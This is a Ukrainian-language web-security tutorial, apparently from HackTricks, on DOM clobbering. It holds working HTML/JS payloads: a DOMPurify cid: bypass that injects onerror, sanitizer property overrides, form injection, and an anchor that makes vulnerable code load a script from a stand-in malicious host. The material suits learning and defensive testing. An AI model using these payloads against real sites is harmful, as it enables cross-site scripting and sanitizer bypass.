Dom Clobbering

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Основи

Можливо створити глобальні змінні всередині контексту JS з атрибутами id та name в HTML тегах.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Лише певні елементи можуть використовувати атрибут name, щоб замінити глобальні змінні, вони: embed, form, iframe, image, img та object.

Цікаво, коли ви використовуєте елемент form для заміни змінної, ви отримаєте значення toString самого елемента: [object HTMLFormElement], але з anchor toString буде href якоря. Тому, якщо ви використовуєте тег a для заміни, ви можете контролювати значення, коли воно обробляється як рядок:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Масиви та атрибути

Також можливо переповнити масив та атрибути об'єкта:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Для заміни третього атрибуту (наприклад, x.y.z), вам потрібно використовувати form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Перезапис атрибутів є складнішим, але все ще можливим, використовуючи iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Тег стилю використовується для надання достатнього часу iframe для відображення. Без нього ви побачите сповіщення про невизначеність.

Для перезапису глибоких атрибутів, ви можете використовувати iframes з кодуванням html таким чином:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Обхід фільтрації

Якщо фільтр перебирає властивості вузла за допомогою чогось на зразок document.getElementByID('x').attributes, ви можете перезаписати властивість .attributes та порушити фільтр. Інші властивості DOM, такі як tagName, nodeName або parentNode та інші, також можна перезаписати.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Перезапис window.someObject

У JavaScript часто зустрічається:

var someObject = window.someObject || {};

Маніпулюючи HTML на сторінці, можна перевизначити someObject за допомогою вузла DOM, що потенційно вводить уразливості безпеки. Наприклад, можна замінити someObject на елемент якоря, що вказує на шкідливий скрипт:

<a id=someObject href=//malicious-website.com/malicious.js></a>

У вразливому коді, такому як:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Цей метод використовує джерело скрипта для виконання небажаного коду.

Хитрість: DOMPurify дозволяє використовувати протокол cid:, який не кодує подвійні лапки в URL. Це означає, що ви можете впровадити закодовану подвійну лапку, яка буде розкодована під час виконання. Тому впровадження чогось подібного до <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> зробить HTML закодоване &quot; розкодованим під час виконання та вибратися зі значення атрибуту для створення події onerror.

Ще одна техніка використовує елемент form. Деякі клієнтські бібліотеки перевіряють атрибути новоствореного елемента форми для їх очищення. Однак, додавши input з id=attributes всередині форми, ви фактично перезаписуєте властивість атрибутів, запобігаючи санітару отримати доступ до фактичних атрибутів.

Ви можете знайти приклад цього типу clobbering у цьому описі CTF.

Перезапис об'єкта документу

Згідно з документацією, можливо перезаписати атрибути об'єкта документу за допомогою DOM Clobbering:

Інтерфейс Document підтримує іменовані властивості. Підтримувані імена властивостей об'єкта Document document у будь-який момент складаються з наступного, в порядку дерева відповідно до елемента, який їх вніс, ігноруючи пізніші дублікати, і зі значеннями від атрибутів id, коли той самий елемент вносить обидва:

- Значення атрибуту name для всіх відкритих елементів embed, form, iframe, img та відкритих елементів object, які мають непорожнє значення атрибуту name та знаходяться у дереві документа з document як їх корінь; - Значення атрибуту id для всіх відкритих елементів object, які мають непорожнє значення атрибуту id та знаходяться у дереві документа з document як їх корінь; - Значення атрибуту id для всіх елементів img, які мають як непорожнє значення атрибуту id, так і непорожнє значення атрибуту name та знаходяться у дереві документа з document як їх корінь.

Використовуючи цю техніку, ви можете перезаписати часто використовувані значення, такі як document.cookie, document.body, document.children, а також методи в інтерфейсі Document, наприклад document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Запис після елементу, який був перезаписаний

Результати викликів document.getElementById() та document.querySelector() можуть бути змінені шляхом впровадження тегу <html> або <body> з ідентичним атрибутом id. Ось як це можна зробити:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Крім того, застосовуючи стилі для приховування цих впроваджених тегів HTML/body, можна уникнути втручання іншого тексту в innerText, що підвищує ефективність атаки:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Дослідження SVG показали, що тег <body> також може бути використаний ефективно:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Для того, щоб тег HTML працював у межах SVG у браузерах, таких як Chrome та Firefox, необхідний тег <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Переповнення форм

Можливо додавати нові записи всередині форми просто, вказавши атрибут form всередині деяких тегів. Ви можете використовувати це, щоб додавати нові значення всередині форми та навіть додавати нову кнопку для відправлення (клікджекінг або зловживання деяким .click() JS кодом):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

References

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated